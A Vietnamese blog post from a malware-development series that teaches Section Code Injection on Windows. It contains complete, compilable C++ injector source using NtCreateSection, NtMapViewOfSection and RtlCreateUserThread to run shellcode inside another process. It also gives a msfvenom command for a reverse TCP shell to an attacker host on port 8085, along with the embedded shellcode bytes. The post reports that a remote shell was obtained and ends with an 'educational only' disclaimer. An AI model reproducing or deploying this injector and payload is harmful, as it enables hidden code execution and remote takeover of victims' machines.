## Mở đầu Chào mừng các bạn đến với bài viết thứ năm trong loạt bài về phát triển malware của mình! Trong bài viết này, mình sẽ đề cập đến kỹ thuật **Section Code Injection**. Đây là một kỹ thuật code injection, nó thực hiện việc chèn shellcode để thực hiện chức năng độc hại thông qua cơ chế memory section trong Windows. Không chần chừ nữa, cùng mình bắt đầu ngay bài viết ngay thôi! :smiley: <div style="text-align:center;"> <img src="https://i.gifer.com/cSs.gif" alt=""> </div> ## Đôi Chút Lý Thuyết Trong một hệ thống Windows, mỗi section object đại diện cho một phần nhỏ của bộ nhớ có thể được chia sẻ. Process có thể sử dụng section object để chia sẻ một phần của không gian bộ nhớ của nó với các process khác hoặc để ánh xạ nội dung từ một tệp vào bộ nhớ của nó. Mỗi phần nhỏ bộ nhớ, được gọi là memory section, có một hoặc nhiều view. Một view là một phần cụ thể của memory section mà một process có thể thấy được. Việc tạo ra một view của một memory section được gọi là ánh xạ một view của section đó. Mỗi process có thể có view riêng của một memory section, và cũng có thể có nhiều views khác nhau cho cùng một hoặc các memory sections khác nhau. Hình dưới mô tả việc `Process 1` và `Process 2` chia sẻ chung bộ nhớ với nhau thông qua cơ chế memory section. ![image](https://hackmd.io/_uploads/SJPH4jgqp.png) ## Các bước thực hiện Section Code Injection Dựa vào tính chất có thể chia sẻ bộ nhớ giữa các process với nhau, cơ chế memory section có thể được sử dụng trong các kỹ thuật code injection và được gọi là section code injection. Dưới đây là các bước cụ thể để thực hiện kỹ thuật section code injection: 1. **Xác định PID của target process:** sử dụng một số API như `CreateToolhelp32Snapshot()`, `Process32First()`, `Process32Next()` để xác định PID của target process dựa vào tên của nó. 2. **Tạo section object:** injector process sử dụng native API `NtCreateSection()` để tạo mới một section object. ![image](https://hackmd.io/_uploads/H19Wusg5T.png) 3. **Ánh xạ view của section vào injector process và target process:** sử dụng native API `NtMapViewOfSection()` để ánh xạ view của section vào không gian địa chỉ ảo của injector process và target process. ![image](https://hackmd.io/_uploads/rkwHtje96.png) 4. **Chèn payload vào view của injector process:** sử dụng API `RtlMoveMemory()` để chèn payload vào view của injector process, view của injector process sau đó sẽ tự động sao chép sang view của target process. ![image](https://hackmd.io/_uploads/HJh6tsgqa.png) ![image](https://hackmd.io/_uploads/ByI39ieqa.png) 5. **Tạo thread trong target process để chạy payload:** tạo mới một thread trong target process bằng API `RtlCreateUserThread()` để thực thi payload. ![image](https://hackmd.io/_uploads/By_Ijjlca.png) 6. **Giải phóng tài nguyên**: sau khi đã thực thi xong payload, injector process tiến hành sử dụng API `NtUnmapViewOfSection()` để giải phóng view của section trong target process và injector process ra khỏi bộ nhớ. ## Triển khai Section Code Injection ### :eight_spoked_asterisk: Tạo shellcode và lắng nghe kết nối ở phía attacker Đầu tiên, mình tạo shellcode bằng metasploit. Shellcode này khi được thực thi sẽ cung cấp shell của máy victim cho máy attacker. Sử dụng lệnh bên dưới để tạo shellcode. ```powershell msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.15 LPORT=8085 -f c ``` ![image](https://hackmd.io/_uploads/S1NrR-kt6.png) Tiếp theo, mình chuẩn bị một máy attacker để lắng nghe kết nối đến từ máy victim ở port 8085 bằng công cụ Netcat. ![image](https://hackmd.io/_uploads/SJEtJfkta.png) ### :eight_spoked_asterisk: Injector code Yah, bây giờ ta sẽ bắt đầu triển khai kỹ thuật này từng bước một. Bước đầu tiên là xác định PID dựa trên tên của process. Để thực hiện điều này, ta sử dụng bộ ba API gồm `CreateToolhelp32Snapshot()`, `Process32First()`, và `Process32Next()`. Trong đoạn mã dưới đây, ta sử dụng `CreateToolhelp32Snapshot()` với cờ `TH32CS_SNAPPROCESS`. Cờ này được sử dụng khi ta muốn lấy thông tin chi tiết về các process đang chạy trên máy victim. Kết quả trả về của `CreateToolhelp32Snapshot()` là một handle đại diện cho snapshot chứa thông tin của các process. Tiếp theo, `Process32First()` và `Process32Next()` được sử dụng để trích xuất thông tin từ handle này. Khi duyệt qua từng entry trong snapshot, ta kiểm tra xem tên của process đang xét có trùng khớp với tên của target process hay không. Nếu đúng, process hiện tại đang được xét chính là target process, và ta có thể trích xuất PID từ entry của process này. Khá đơn giản đúng không nào. :smiling_imp: ```cpp= DWORD FindProcessId(LPCSTR processName) { DWORD dwProcessId = -1; HANDLE hSnapshot = NULL; PROCESSENTRY32 processEntry = { 0 }; ZeroMemory(&processEntry, sizeof(processEntry)); processEntry.dwSize = sizeof(processEntry); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) { goto EXIT; } if (Process32First(hSnapshot, &processEntry)) { do{ if (!strcmp(processName, processEntry.szExeFile)) { dwProcessId = processEntry.th32ProcessID; goto EXIT; } } while (Process32Next(hSnapshot, &processEntry)); } EXIT: if (INVALID_HANDLE_VALUE != hSnapshot) CloseHandle(hSnapshot); return dwProcessId; } ``` Sau khi tìm kiếm xong PID của target process, ta tiếp tục tạo một section object bằng API `NtCreateSection()`, ta cùng xem xét một số trường quan trọng có trong API này. Đầu tiên là trường `DesiredAccess`, nó có thể nhận các cờ `SECTION_MAP_READ`, `SECTION_MAP_WRITE`, và `SECTION_MAP_EXECUTE`, ba cờ này tương ứng với ba quyền truy cập là `read`, `write`, và `execute`. Để hiểu rõ hơn, giả sử nếu mình chỉ sử dụng cờ `SECTION_MAP_READ` và `SECTION_MAP_WRITE`, khi ánh xạ section object vào một process với quyền `execute` thì sẽ xảy ra lỗi vì section object **chỉ có thể được ánh xạ** với quyền `read` và `write`. :alien: Về trường `PageAttributes`, nó thể hiện quyền truy cập vào bộ nhớ tương ứng với section object. Nếu `PageAttributes` là cờ `PAGE_READWRITE` và `DesiredAccess` bao gồm `SECTION_MAP_READ`, `SECTION_MAP_WRITE`, và `SECTION_MAP_EXECUTE` thì mặc dù section object có thể được ánh xạ với quyền execute nhưng thực tế bộ nhớ không có quyền execute nên việc này sẽ gây ra lỗi :alien:. Ví dụ, bạn muốn cua (`execute`) một cô gái (section object) và ba mẹ của cô gái (`DesiredAccess`) cho phép bạn làm điều đó, nhưng nếu cô gái không thích bạn (`PageAttributes` không có quyền `execute`), thì bạn không thể cua được người ta. :smiling_face_with_smiling_eyes_and_hand_covering_mouth: Cuối cùng là trường `SectionAttributes`, giá trị của nó có thể là `SEC_COMMIT` hoặc `SEC_RESERVE`. `SEC_COMMIT` có nghĩa là view của section object khi được ánh xạ vào bộ nhớ của process nào đó thì sẽ có trạng thái là `commit`, còn đối với `SEC_RESERVE` thì sẽ có trạng thái là `reserve`. Các trạng thái này là khái niệm rất cơ bản của bộ nhớ ảo nên mình sẽ không đề cập ở đây. ```cpp= typedef NTSTATUS (NTAPI *pfnNtCreateSection)( OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL ); ``` Trong injector code, khi gọi `NtCreateSection()`, mình đã sử dụng cả ba cờ `SECTION_MAP_READ`, `SECTION_MAP_WRITE`, và `SECTION_MAP_EXECUTE` cho trường `DesiredAccess` và `PAGE_EXECUTE_READWRITE` cho trường `PageAttributes` bởi vì mình muốn vừa có thể `read`, `write` và `execute` payload có trong view của section object. ```cpp= // open process hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid); // create section status = NtCreateSection( &hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE | SECTION_MAP_WRITE, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL ); if (!NT_SUCCESS(status)) EXIT_WITH_STATUS("NtCreateSection()", status) ``` Yah, tiếp tục đề cập đến cấu trúc của API `NtMapViewOfSection()`. Trong API này thì ta chỉ cần quan tâm đến trường `ViewSize` và `Protect` thôi. `ViewSize` là độ lớn của view khi được ánh xạ vào trong process và `Protect` chính là các quyền truy cập mà ta mong muốn khi ánh xạ view của section vào trong process. ```cpp= typedef NTSTATUS(NTAPI* pfnNtMapViewOfSection)( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress OPTIONAL, IN ULONG ZeroBits OPTIONAL, IN ULONG CommitSize, IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, IN OUT PULONG ViewSize, IN DWORD InheritDisposition, IN ULONG AllocationType OPTIONAL, IN ULONG Protect ); ``` Trong injector code, mình tiến hành gọi hai lần API `NtMapViewOfSection()` để ánh xạ view của section vào lần lượt injector process và target process. Đối với injector process, view của nó được chèn payload vào nên view có quyền truy cập là `PAGE_READWRITE`. Còn với target process, view của nó được dùng để thực thi payload nên view có quyền truy cập là `PAGE_EXECUTE_READ`. Yah, khá dễ hiểu đúng không. :grin: ```cpp= // map section to current process status = NtMapViewOfSection( hSection, GetCurrentProcess(), (PVOID*)&pSectionBaseAddress, 0, 0, NULL, &viewSize, sectionInherit, NULL, PAGE_READWRITE ); if (!NT_SUCCESS(status)) EXIT_WITH_STATUS("NtMapViewOfSection()", status) printf("[+] Section base address 0x%llx\n", pSectionBaseAddress); // map section to target process status = NtMapViewOfSection( hSection, hTargetProcess, (PVOID*)&pSectionTargetBaseAddress, 0, 0, NULL, &viewSize, sectionInherit, NULL, PAGE_EXECUTE_READ ); if(!NT_SUCCESS(status)) EXIT_WITH_STATUS("NtMapViewOfSection()", status) ``` Sau khi đã ánh xạ view của section vào injector process và target process thành công, mình thực hiện sao chép payload vào trong view của injector process. Lúc này, view của target process cũng sẽ tự động được sao chép payload từ view của injector process. ```cpp= // copy payload to section view RtlMoveMemory(pSectionBaseAddress, shellCode, sizeof(shellCode)); ``` Sau đó, mình tiếp tục tạo mới một một thread trong target process bằng API `RtlCreateUserThread()` và lúc này payload trong target process sẽ được thực thi. ```cpp= typedef NTSTATUS(NTAPI* pfnRtlCreateUserThread)( IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID ); ``` ```cpp= // create thread in target process status = RtlCreateUserThread( hTargetProcess, NULL, FALSE, 0, 0, 0, pSectionTargetBaseAddress, NULL, &hTargetThread, NULL ); if (!NT_SUCCESS(status)) EXIT_WITH_STATUS("RtlCreateUserThread()", status) // wait for target thread if (WAIT_FAILED == WaitForSingleObject(hTargetThread, INFINITE)) EXIT_WITH_ERROR("WaitForSingleObject()") ``` Việc cuối cùng ta cần làm giải phóng view của section ra khỏi bộ nhớ của injector process và target process bằng API `NtUnmapViewOfSection()`. ```cpp= typedef NTSTATUS(NTAPI* pfnNtUnmapViewOfSection)( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); ``` ```cpp= EXIT: NtUnmapViewOfSection(GetCurrentProcess(), pSectionBaseAddress); if (!hTargetProcess) { NtUnmapViewOfSection(hTargetProcess, pSectionTargetBaseAddress); CloseHandle(hTargetProcess); } if (!hSection) CloseHandle(hSection); if (!hTargetThread) CloseHandle(hTargetThread); return dwExitCode; ``` Đây là source code để thực hiện toàn bộ quá trình mà mình vừa giải thích. :smiling_imp: ```cpp= #include<stdio.h> #include<windows.h> #include<ntstatus.h> #include<TlHelp32.h> #pragma comment(lib,"ntdll") #pragma warning (disable: 4703) #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define EXIT_WITH_ERROR(name) {printf("[-] Failed to get %s. \ Error code = %d", name, GetLastError());goto EXIT;} #define EXIT_WITH_STATUS(name, status) {printf("[-] Failed to get %s. \ Status = 0x%x\n", name, status); goto EXIT;} typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT, *PSECTION_INHERIT; typedef NTSTATUS (NTAPI *pfnNtCreateSection)( OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL ); typedef NTSTATUS(NTAPI* pfnNtMapViewOfSection)( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress OPTIONAL, IN ULONG ZeroBits OPTIONAL, IN ULONG CommitSize, IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, IN OUT PULONG ViewSize, IN DWORD InheritDisposition, IN ULONG AllocationType OPTIONAL, IN ULONG Protect ); typedef NTSTATUS(NTAPI* pfnRtlCreateUserThread)( IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID ); typedef NTSTATUS(NTAPI* pfnNtUnmapViewOfSection)( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); BYTE shellCode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" "\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x95\x0a\x00\x02\x0f" "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29" "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48" "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; DWORD FindProcessId(LPCSTR processName) { DWORD dwProcessId = -1; HANDLE hSnapshot = NULL; PROCESSENTRY32 processEntry = { 0 }; ZeroMemory(&processEntry, sizeof(processEntry)); processEntry.dwSize = sizeof(processEntry); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) { goto EXIT; } if (Process32First(hSnapshot, &processEntry)) { do { if (!strcmp(processName, processEntry.szExeFile)) { dwProcessId = processEntry.th32ProcessID; goto EXIT; } } while (Process32Next(hSnapshot, &processEntry)); } EXIT: if (INVALID_HANDLE_VALUE != hSnapshot) CloseHandle(hSnapshot); return dwProcessId; } int main(int argc, char** argv) { SIZE_T viewSize = 4096; NTSTATUS status = 0; HMODULE hNtdll = NULL; LARGE_INTEGER maxSize = { viewSize }; SECTION_INHERIT sectionInherit = ViewUnmap; DWORD dwExitCode = 1, dwTargetPid = 0; HANDLE hSection = NULL, hTargetProcess = NULL, hTargetThread = NULL; PVOID pSectionBaseAddress = NULL, pSectionTargetBaseAddress = NULL; // get name of target process if (argc != 2) { printf("[-] Usage: %s <process name>\n", argv[0]); goto EXIT; } dwTargetPid = FindProcessId(argv[1]); printf("[+] Target PID: %d\n", dwTargetPid); // get API addresses hNtdll = GetModuleHandleA("ntdll.dll"); if (!hNtdll) EXIT_WITH_ERROR("GetModuleHandle()") pfnNtCreateSection NtCreateSection = GetProcAddress(hNtdll, "NtCreateSection"); if (!NtCreateSection) EXIT_WITH_ERROR("GetProcAddress()") pfnNtMapViewOfSection NtMapViewOfSection = GetProcAddress(hNtdll, "NtMapViewOfSection"); if (!NtMapViewOfSection)EXIT_WITH_ERROR("GetProcAddress()") pfnNtUnmapViewOfSection NtUnmapViewOfSection = GetProcAddress(hNtdll, "NtUnmapViewOfSection"); if (!NtUnmapViewOfSection) EXIT_WITH_ERROR("GetProcAddress()") pfnRtlCreateUserThread RtlCreateUserThread = GetProcAddress(hNtdll, "RtlCreateUserThread"); if (!RtlCreateUserThread) EXIT_WITH_ERROR("GetProcAddress()") // create section status = NtCreateSection( &hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE | SECTION_MAP_WRITE, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL ); if (!NT_SUCCESS(status)) EXIT_WITH_STATUS("NtCreateSection()", status) printf("[+] Create a section success\n"); // map section to current process status = NtMapViewOfSection( hSection, GetCurrentProcess(), (PVOID*)&pSectionBaseAddress, 0, 0, NULL, &viewSize, sectionInherit, NULL, PAGE_READWRITE ); if (!NT_SUCCESS(status)) EXIT_WITH_STATUS("NtMapViewOfSection()", status) printf("[+] Section base address 0x%llx\n", pSectionBaseAddress); // open process hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid); // map section to target process status = NtMapViewOfSection( hSection, hTargetProcess, (PVOID*)&pSectionTargetBaseAddress, 0, 0, NULL, &viewSize, sectionInherit, NULL, PAGE_EXECUTE_READ ); if(!NT_SUCCESS(status)) EXIT_WITH_STATUS("NtMapViewOfSection()", status) printf("[+] Section target base address 0x%llx\n", pSectionTargetBaseAddress); // copy payload to section view RtlMoveMemory(pSectionBaseAddress, shellCode, sizeof(shellCode)); // create thread in target process status = RtlCreateUserThread( hTargetProcess, NULL, FALSE, 0, 0, 0, pSectionTargetBaseAddress, NULL, &hTargetThread, NULL ); if (!NT_SUCCESS(status)) EXIT_WITH_STATUS("RtlCreateUserThread()", status) // wait for target thread if (WAIT_FAILED == WaitForSingleObject(hTargetThread, INFINITE)) EXIT_WITH_ERROR("WaitForSingleObject()") EXIT: NtUnmapViewOfSection(GetCurrentProcess(), pSectionBaseAddress); if (!hTargetProcess) { NtUnmapViewOfSection(hTargetProcess, pSectionTargetBaseAddress); CloseHandle(hTargetProcess); } if (!hSection) CloseHandle(hSection); if (!hTargetThread) CloseHandle(hTargetThread); return dwExitCode; } ``` ### :eight_spoked_asterisk: Chạy payload ở phía victim Sau khi xây dựng xong chức năng của injector, mình thực hiện chạy thử nó trên máy victim. Kết quả cuối cùng là máy attacker đã thành công trong việc nhận được remote shell từ máy victim, hình dưới minh họa quá trình này. ![image](https://hackmd.io/_uploads/r1Hydel5T.png) ## Kết luận Trong bài viết này, chúng ta đã thảo luận về việc sử dụng section object để triển khai kỹ thuật section code injection. Độc giả có thể nhận thấy rằng, mặc dù bản chất của các kỹ thuật code injection giống nhau, nhưng cách triển khai từng bước trong mỗi kỹ thuật lại mang tính đa dạng. Điều này tạo ra sự đa dạng trong các kỹ thuật code injection, giống như cách chúng ta có thể thao tác bộ nhớ bằng cách sử dụng API như `VirtualAlloc()`, `VirtualAllocEx()`, nhưng cũng có thể sử dụng cơ chế section để đạt được mục tiêu tương tự. Việc hiểu biết về nhiều cách triển khai trong từng bước của kỹ thuật code injection là quan trọng để ngăn chặn các biến thể mã độc ngày càng tinh vi. :::warning :zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn. ::: ## Tham khảo * [https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views) * [http://undocumented.ntinternals.net/](http://undocumented.ntinternals.net/)